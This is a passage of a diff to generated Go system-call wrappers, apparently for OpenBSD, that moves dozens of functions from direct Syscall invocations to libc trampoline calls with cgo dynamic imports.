uintptr(unsafe.Pointer(addrlen))) + _, _, e1 := syscall_rawSyscall(libc_getpeername_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getpeername_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpeername getpeername "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { - _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + _, _, e1 := syscall_rawSyscall(libc_getsockname_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getsockname_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsockname getsockname "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Shutdown(s int, how int) (err error) { - _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0) + _, _, e1 := syscall_syscall(libc_shutdown_trampoline_addr, uintptr(s), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_shutdown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_shutdown shutdown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) { - _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) + _, _, e1 := syscall_rawSyscall6(libc_socketpair_trampoline_addr, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_socketpair_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_socketpair socketpair "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) { @@ -156,7 +208,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) + r0, _, e1 := syscall_syscall6(libc_recvfrom_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -164,6 +216,10 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl return } +var libc_recvfrom_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_recvfrom recvfrom "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) { @@ -173,17 +229,21 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) ( } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) + _, _, e1 := syscall_syscall6(libc_sendto_trampoline_addr, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sendto_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sendto sendto "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { - r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) + r0, _, e1 := syscall_syscall(libc_recvmsg_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -191,10 +251,14 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { return } +var libc_recvmsg_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_recvmsg recvmsg "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { - r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) + r0, _, e1 := syscall_syscall(libc_sendmsg_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -202,10 +266,14 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { return } +var libc_sendmsg_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sendmsg sendmsg "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) { - r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) + r0, _, e1 := syscall_syscall6(libc_kevent_trampoline_addr, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -213,6 +281,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne return } +var libc_kevent_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kevent kevent "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, timeval *[2]Timeval) (err error) { @@ -221,27 +293,35 @@ func utimes(path string, timeval *[2]Timeval) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) + _, _, e1 := syscall_syscall(libc_utimes_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_utimes_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_utimes utimes "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimes(fd int, timeval *[2]Timeval) (err error) { - _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) + _, _, e1 := syscall_syscall(libc_futimes_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_futimes_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_futimes futimes "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { - r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) + r0, _, e1 := syscall_syscall(libc_poll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -249,6 +329,10 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { return } +var libc_poll_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_poll poll "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Madvise(b []byte, behav int) (err error) { @@ -258,13 +342,17 @@ func Madvise(b []byte, behav int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav)) + _, _, e1 := syscall_syscall(libc_madvise_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(behav)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_madvise_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_madvise madvise "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { @@ -274,23 +362,31 @@ func Mlock(b []byte) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) + _, _, e1 := syscall_syscall(libc_mlock_trampoline_addr, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mlock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mlock mlock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { - _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall(libc_mlockall_trampoline_addr, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mlockall_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mlockall mlockall "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { @@ -300,13 +396,17 @@ func Mprotect(b []byte, prot int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) + _, _, e1 := syscall_syscall(libc_mprotect_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mprotect_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mprotect mprotect "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Msync(b []byte, flags int) (err error) { @@ -316,13 +416,17 @@ func Msync(b []byte, flags int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_msync_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_msync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_msync msync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { @@ -332,33 +436,45 @@ func Munlock(b []byte) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) + _, _, e1 := syscall_syscall(libc_munlock_trampoline_addr, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munlock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munlock munlock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { - _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) + _, _, e1 := syscall_syscall(libc_munlockall_trampoline_addr, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munlockall_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munlockall munlockall "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe2(p *[2]_C_int, flags int) (err error) { - _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) + _, _, e1 := syscall_rawSyscall(libc_pipe2_trampoline_addr, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_pipe2_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pipe2 pipe2 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdents(fd int, buf []byte) (n int, err error) { @@ -368,7 +484,7 @@ func Getdents(fd int, buf []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf))) + r0, _, e1 := syscall_syscall(libc_getdents_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -376,6 +492,10 @@ func Getdents(fd int, buf []byte) (n int, err error) { return } +var libc_getdents_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getdents getdents "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getcwd(buf []byte) (n int, err error) { @@ -385,7 +505,7 @@ func Getcwd(buf []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0) + r0, _, e1 := syscall_syscall(libc_getcwd_trampoline_addr, uintptr(_p0), uintptr(len(buf)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -393,16 +513,24 @@ func Getcwd(buf []byte) (n int, err error) { return } +var libc_getcwd_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getcwd getcwd "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ioctl(fd int, req uint, arg uintptr) (err error) { - _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) + _, _, e1 := syscall_syscall(libc_ioctl_trampoline_addr, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_ioctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ioctl ioctl "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) { @@ -412,17 +540,21 @@ func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) + _, _, e1 := syscall_syscall6(libc_sysctl_trampoline_addr, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sysctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sysctl sysctl "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { - r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -430,6 +562,10 @@ func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, return } +var libc_ppoll_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ppoll ppoll "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Access(path string, mode uint32) (err error) { @@ -438,23 +574,31 @@ func Access(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_access_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_access_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_access access "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtime(delta *Timeval, olddelta *Timeval) (err error) { - _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) + _, _, e1 := syscall_syscall(libc_adjtime_trampoline_addr, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_adjtime_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_adjtime adjtime "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { @@ -463,13 +607,17 @@ func Chdir(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_chdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chdir chdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chflags(path string, flags int) (err error) { @@ -478,13 +626,17 @@ func Chflags(path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_chflags_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chflags_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chflags chflags "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chmod(path string, mode uint32) (err error) { @@ -493,13 +645,17 @@ func Chmod(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_chmod_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chmod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chmod chmod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chown(path string, uid int, gid int) (err error) { @@ -508,13 +664,17 @@ func Chown(path string, uid int, gid int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_chown_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chown chown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { @@ -523,27 +683,35 @@ func Chroot(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_chroot_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chroot_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chroot chroot "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { - _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_close_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_close_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_close close "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(fd int) (nfd int, err error) { - r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0) + r0, _, e1 := syscall_syscall(libc_dup_trampoline_addr, uintptr(fd), 0, 0) nfd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -551,33 +719,49 @@ func Dup(fd int) (nfd int, err error) { return } +var libc_dup_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup dup "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(from int, to int) (err error) { - _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0) + _, _, e1 := syscall_syscall(libc_dup2_trampoline_addr, uintptr(from), uintptr(to), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_dup2_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup2 dup2 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup3(from int, to int, flags int) (err error) { - _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_dup3_trampoline_addr, uintptr(from), uintptr(to), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_dup3_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup3 dup3 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { - Syscall(SYS_EXIT, uintptr(code), 0, 0) + syscall_syscall(libc_exit_trampoline_addr, uintptr(code), 0, 0) return } +var libc_exit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_exit exit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { @@ -586,43 +770,59 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_faccessat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_faccessat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_faccessat faccessat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { - _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_fchdir_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchdir fchdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchflags(fd int, flags int) (err error) { - _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_fchflags_trampoline_addr, uintptr(fd), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchflags_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchflags fchflags "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { - _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_fchmod_trampoline_addr, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchmod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchmod fchmod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { @@ -631,23 +831,31 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_fchmodat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchmodat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchmodat fchmodat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { - _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_fchown_trampoline_addr, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchown fchown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { @@ -656,27 +864,35 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) + _, _, e1 := syscall_syscall6(libc_fchownat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchownat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchownat fchownat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { - _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) + _, _, e1 := syscall_syscall(libc_flock_trampoline_addr, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_flock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_flock flock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fpathconf(fd int, name int) (val int, err error) { - r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0) + r0, _, e1 := syscall_syscall(libc_fpathconf_trampoline_addr, uintptr(fd), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -684,16 +900,24 @@ func Fpathconf(fd int, name int) (val int, err error) { return } +var libc_fpathconf_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fpathconf fpathconf "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { - _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_fstat_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstat fstat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { @@ -702,71 +926,99 @@ func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_fstatat_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstatat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstatat fstatat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatfs(fd int, stat *Statfs_t) (err error) { - _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_fstatfs_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstatfs_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstatfs fstatfs "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { - _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_fsync_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fsync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fsync fsync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { - _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length)) + _, _, e1 := syscall_syscall(libc_ftruncate_trampoline_addr, uintptr(fd), uintptr(length), 0) if e1 != 0 { err = 